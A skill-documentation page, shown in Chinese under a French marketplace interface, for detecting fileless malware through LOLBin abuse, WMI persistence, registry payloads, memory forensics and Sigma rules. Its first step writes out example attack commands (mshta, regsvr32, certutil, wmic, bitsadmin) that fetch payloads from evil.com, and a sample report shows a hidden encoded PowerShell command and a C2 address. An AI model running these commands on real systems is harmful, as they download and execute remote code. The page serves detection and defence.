L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

detecting-fileless-malware-techniques

detecting-fileless-malware-techniques

检测和分析完全在内存中运行的无文件恶意软件,这类恶意软件利用 PowerShell、 WMI、.NET 反射、注册表存储载荷和离地攻击二进制文件(LOLBins), 不在磁盘上写入传统可执行文件。适用于无文件威胁检测、内存恶意软件调查、 LOLBin 滥用分析或 WMI 持久化检查等请求。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: detecting-fileless-malware-techniques description: > 检测和分析完全在内存中运行的无文件恶意软件,这类恶意软件利用 PowerShell、 WMI、.NET 反射、注册表存储载荷和离地攻击二进制文件(LOLBins), 不在磁盘上写入传统可执行文件。适用于无文件威胁检测、内存恶意软件调查、 LOLBin 滥用分析或 WMI 持久化检查等请求。 domain: cybersecurity subdomain: malware-analysis tags: [malware, fileless, LOLBins, memory-analysis, detection] version: 1.0.0 author: mahipal license: Apache-2.0

检测无文件恶意软件技术

适用场景

  • EDR 告警显示受信任的系统二进制文件(PowerShell、mshta、wmic、regsvr32)存在可疑行为
  • 调查磁盘上没有传统恶意软件文件的攻击
  • 分析 WMI 事件订阅、注册表存储载荷或计划任务滥用持久化的情况
  • 在企业环境中为 LOLBin(离地攻击二进制文件)滥用构建检测规则
  • 内存取证发现恶意代码但文件系统中不存在相应文件

不适用于传统的基于文件的恶意软件;标准的静态和动态分析方法更适合磁盘驻留恶意软件。

前置条件

  • 已安装并配置 Sysmon,带全面日志记录(进程创建、WMI 事件、注册表更改)
  • 已启用 PowerShell 脚本块日志记录和模块日志记录
  • Volatility 3,用于无文件恶意软件工件的内存取证
  • Process Monitor(ProcMon),用于实时系统活动监控
  • 具有足够保留策略的 Windows 事件日志访问权限
  • Autoruns,用于识别持久化机制

工作流程

步骤 1:识别 LOLBin 使用情况

检测合法 Windows 二进制文件被滥用于恶意目的的情况:

常见被滥用的 LOLBin 及检测模式:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  滥用:执行嵌入 VBScript/JScript 的 HTA 文件
  示例:mshta http://evil.com/payload.hta
  示例:mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  检测:mshta.exe 带 URL 参数或 vbscript: 前缀

regsvr32.exe:
  滥用:通过 COM 加载脚本组件(.sct 文件)——"Squiblydoo"
  示例:regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  检测:regsvr32.exe 带 /i: URL 参数

certutil.exe:
  滥用:下载文件、解码 Base64
  示例:certutil -urlcache -split -f http://evil.com/payload.exe
  示例:certutil -decode encoded.txt payload.exe
  检测:certutil.exe 带 -urlcache 或 -decode 参数

rundll32.exe:
  滥用:执行 DLL 函数、JavaScript
  示例:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  检测:rundll32.exe 带 javascript: 参数

wmic.exe:
  滥用:通过 XSL 样式表执行代码
  示例:wmic process get brief /format:"http://evil.com/payload.xsl"
  检测:wmic.exe 带 /format: URL 参数

bitsadmin.exe:
  滥用:通过 BITS 下载文件
  示例:bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  检测:bitsadmin.exe 带 /transfer 或 /addfile 指向外部 URL

cmstp.exe:
  滥用:通过 INF 文件执行命令
  示例:cmstp.exe /ni /s payload.inf
  检测:cmstp.exe 从非标准位置执行

步骤 2:检测基于 WMI 的持久化

分析用于无文件持久化的 WMI 事件订阅:

# 列出 WMI 事件订阅(过滤器、消费者、绑定)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# 用 PowerShell 枚举 WMI 订阅
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
# 解析 Sysmon WMI 事件(事件 ID 19、20、21)
import subprocess
import xml.etree.ElementTree as ET

# WMI 事件过滤器创建(EID 19)
result = subprocess.run(
    ["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
     "/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
    capture_output=True, text=True
)

ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
    if not event_xml.strip():
        continue
    try:
        root = ET.fromstring(event_xml + "</Event>")
        eid = root.find(".//e:System/e:EventID", ns).text
        data = {}
        for d in root.findall(".//e:EventData/e:Data", ns):
            data[d.get("Name")] = d.text

        if eid == "19":
            print(f"[!] WMI 过滤器已创建:{data.get('Name')}")
            print(f"    查询:{data.get('Query')}")
        elif eid == "20":
            print(f"[!] WMI 消费者已创建:{data.get('Name')}")
            print(f"    类型:{data.get('Type')}")
            print(f"    目标:{data.get('Destination')}")
        elif eid == "21":
            print(f"[!] WMI 绑定已创建")
            print(f"    消费者:{data.get('Consumer')}")
            print(f"    过滤器:{data.get('Filter')}")
    except:
        pass

步骤 3:检测注册表驻留载荷

查找存储在 Windows 注册表中的恶意代码:

# 无文件载荷的常见注册表位置
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s

# 检查注册表值中的 PowerShell 编码命令
# 恶意软件在自定义注册表键中存储 Base64 编码的载荷
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul

# 检查大型注册表值(可能存储的载荷)
python3 << 'PYEOF'
import winreg
import base64

suspicious_keys = [
    (winreg.HKEY_CURRENT_USER, r"Software"),
    (winreg.HKEY_LOCAL_MACHINE, r"Software"),
]

def scan_registry(hive, path, depth=0):
    if depth > 3:
        return
    try:
        key = winreg.OpenKey(hive, path)
        i = 0
        while True:
            try:
                name, value, vtype = winreg.EnumValue(key, i)
                if isinstance(value, str) and len(value) > 500:
                    # 检查 Base64 编码内容
                    try:
                        decoded = base64.b64decode(value[:100])
                        print(f"[!] 大型 Base64 值:{path}\\{name}({len(value)} 字节)")
                    except:
                        pass
                    # 检查 PowerShell 关键词
                    if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
                        print(f"[!] 注册表中的 PowerShell:{path}\\{name}")
                i += 1
            except WindowsError:
                break
        # 递归进入子键
        j = 0
        while True:
            try:
                subkey = winreg.EnumKey(key, j)
                scan_registry(hive, f"{path}\\{subkey}", depth + 1)
                j += 1
            except WindowsError:
                break
    except:
        pass

for hive, path in suspicious_keys:
    scan_registry(hive, path)
PYEOF

步骤 4:分析内存中的无文件工件

使用内存取证查找仅驻留在内存中的恶意软件:

# 检测注入代码(无后备文件)
vol3 -f memory.dmp windows.malfind

# 检查从内存加载的 .NET 程序集(非磁盘文件)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"

# PowerShell CLR 使用情况(表明 .NET 反射加载)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"

# 扫描已知的无文件框架
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "
rule Fileless_PowerShell {
    strings:
        \$s1 = \"System.Reflection.Assembly\" ascii wide
        \$s2 = \"[System.Convert]::FromBase64String\" ascii wide
        \$s3 = \"Invoke-Expression\" ascii wide
        \$s4 = \"DownloadString\" ascii wide
    condition:
        2 of them
}
"

# 从内存中提取 PowerShell 命令历史
vol3 -f memory.dmp windows.cmdline
strings memory.dmp | grep -i "invoke-\|iex \|downloadstring\|-encodedcommand"

步骤 5:构建全面的检测规则

为无文件技术创建检测内容:

# Sigma 规则:LOLBin 执行带网络活动
title: 可疑的 LOLBin 执行带网络参数
logsource:
    category: process_creation
    product: windows
detection:
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http'
            - 'vbscript:'
            - 'javascript:'
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '/i:http'
    selection_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains: '/format:http'
    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
# Sigma 规则:WMI 持久化创建
title: WMI 事件订阅持久化
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID:
            - 19  # WMI EventFilter
            - 20  # WMI EventConsumer
            - 21  # WMI FilterConsumerBinding
    condition: selection
level: medium

步骤 6:记录无文件攻击链

映射完整的无文件攻击生命周期:

典型的无文件攻击链:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第 1 阶段 - 初始访问:
  邮件 -> 宏 -> mshta.exe/PowerShell(LOLBin 滥用)
  或 Web 漏洞利用 -> regsvr32/certutil(脚本组件下载)

第 2 阶段 - 执行:
  PowerShell 在内存中下载并执行脚本
  .NET Assembly.Load() 用于反射式加载
  WMI 进程创建用于横向移动

第 3 阶段 - 持久化:
  WMI 事件订阅(跨重启持续)
  注册表存储的编码载荷(由 Run 键加载)
  执行内联 PowerShell 的计划任务

第 4 阶段 - 权限提升:
  带 Invoke-Mimikatz 的 PowerShell(内存凭据窃取)
  通过 WMI 进行命名管道模拟

第 5 阶段 - 横向移动:
  WMI 远程进程创建(无需文件传输)
  PowerShell 远程处理(WinRM)
  通过 WMI 使用 PsExec

第 6 阶段 - 数据泄露:
  PowerShell HTTP POST 到 C2
  通过 Invoke-DNSExfiltration 进行 DNS 隧道
  云存储 API(OneDrive、Google Drive)

核心概念

术语定义
无文件恶意软件(Fileless Malware)完全在内存中或在合法系统工具中运行的恶意软件,不在磁盘上创建传统可执行文件
LOLBins(离地攻击二进制文件)攻击者滥用的合法系统二进制文件(mshta、regsvr32、certutil),在规避应用程序白名单的同时执行恶意代码
WMI 事件订阅Windows 管理规范持久化机制,使用事件过滤器、消费者和绑定在系统事件时执行代码
注册表驻留载荷存储为 Windows 注册表值中编码数据的恶意代码,由 Run 键中的小桩代码加载并执行
反射式加载(Reflective Loading)使用 Assembly.Load() 从内存中的字节数组加载 .NET 程序集或 PE 文件,无需写入磁盘
内存执行(In-Memory Execution)直接在 RAM 中运行代码而不创建文件,利用进程注入、反射式加载或脚本解释器
脚本块日志记录(Script Block Logging)Windows PowerShell 日志记录功能(事件 ID 4104),在去混淆后捕获脚本内容,对无文件威胁可见性至关重要

工具与系统

  • Sysmon:系统监视器,为进程创建、WMI 事件、注册表更改和网络连接提供详细的事件日志记录
  • Autoruns:Sysinternals 工具,显示所有自动启动位置,包括 WMI 订阅、计划任务和注册表条目
  • Volatility:内存取证框架,用于检测内存中的代码、注入进程和无文件恶意软件工件
  • Process Monitor:实时监控文件系统、注册表和进程活动,用于观察无文件攻击行为
  • LOLBAS 项目:社区记录的 LOLBin 滥用技术目录,位于 https://lolbas-project.github.io/

常见场景

场景:调查使用 WMI 持久化的无文件攻击

场景背景:Sysmon 告警显示 WMI 事件订阅创建,随后出现周期性 PowerShell 执行,磁盘上没有任何对应的恶意软件文件。该攻击在重启后持续存在。

方法:

  1. 查询 WMI 命名空间的事件过滤器、消费者和绑定,以识别持久化机制
  2. 提取 CommandLineEventConsumer 或 ActiveScriptEventConsumer 载荷
  3. 解码 PowerShell 命令(通常使用 -enc 标志进行 Base64 编码)
  4. 在脚本块日志记录中(事件 ID 4104)追踪 PowerShell 执行以获取完整的去混淆载荷
  5. 分析内存转储中反射式加载的程序集和注入代码
  6. 检查 PowerShell 脚本引用的注册表中是否有额外存储的载荷
  7. 从初始访问到持久化和横向移动,映射完整的攻击链

常见陷阱:

  • 事件发生前未启用 Sysmon WMI 事件日志记录(事件 19/20/21)
  • 在捕获内存转储前重启系统(销毁内存中的证据)
  • 仅关注基于文件的 IoC,而攻击完全是无文件的
  • 因 LOLBin 执行留下的痕迹极少而遗漏初始访问向量

输出格式

无文件恶意软件分析报告
===================================
事件:           INC-2025-2847
攻击类型:       无文件(磁盘上无恶意软件文件)

初始访问
向量:           带宏的钓鱼邮件
LOLBin 链:     WINWORD.EXE -> mshta.exe -> powershell.exe

持久化机制
类型:           WMI 事件订阅
过滤器名称:    WindowsUpdateCheck
过滤器查询:    SELECT * FROM __InstanceModificationEvent WITHIN 300
                 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
消费者:        CommandLineEventConsumer
命令:          powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...

解码后的载荷
[第 1 层] Base64 UTF-16LE 解码
[第 2 层] AMSI 绕过 + 嵌入式 .NET 载荷的 Assembly.Load()
[第 3 层] 与 185.220.101[.]42 通信的 .NET RAT

注册表载荷
HKCU\Software\AppDataLow\Config\data = [Base64 编码的 .NET 程序集,247KB]
由:PowerShell WMI 消费者脚本加载

内存工件
PID 4012(powershell.exe):0x00400000 处的注入 .NET 程序集
  - 通过 YARA 检测到 CobaltStrike 信标
  - C2:hxxps://185.220.101[.]42/updates

提取的 IoC
C2 IP:          185.220.101[.]42
WMI 过滤器:    WindowsUpdateCheck
注册表路径:    HKCU\Software\AppDataLow\Config\data
PowerShell 标志:-nop -w hidden -enc

MITRE ATT&CK
T1059.001  PowerShell
T1546.003  WMI 事件订阅
T1218.005  Mshta
T1112      修改注册表
T1055.012  进程空洞化
Skills enregistrées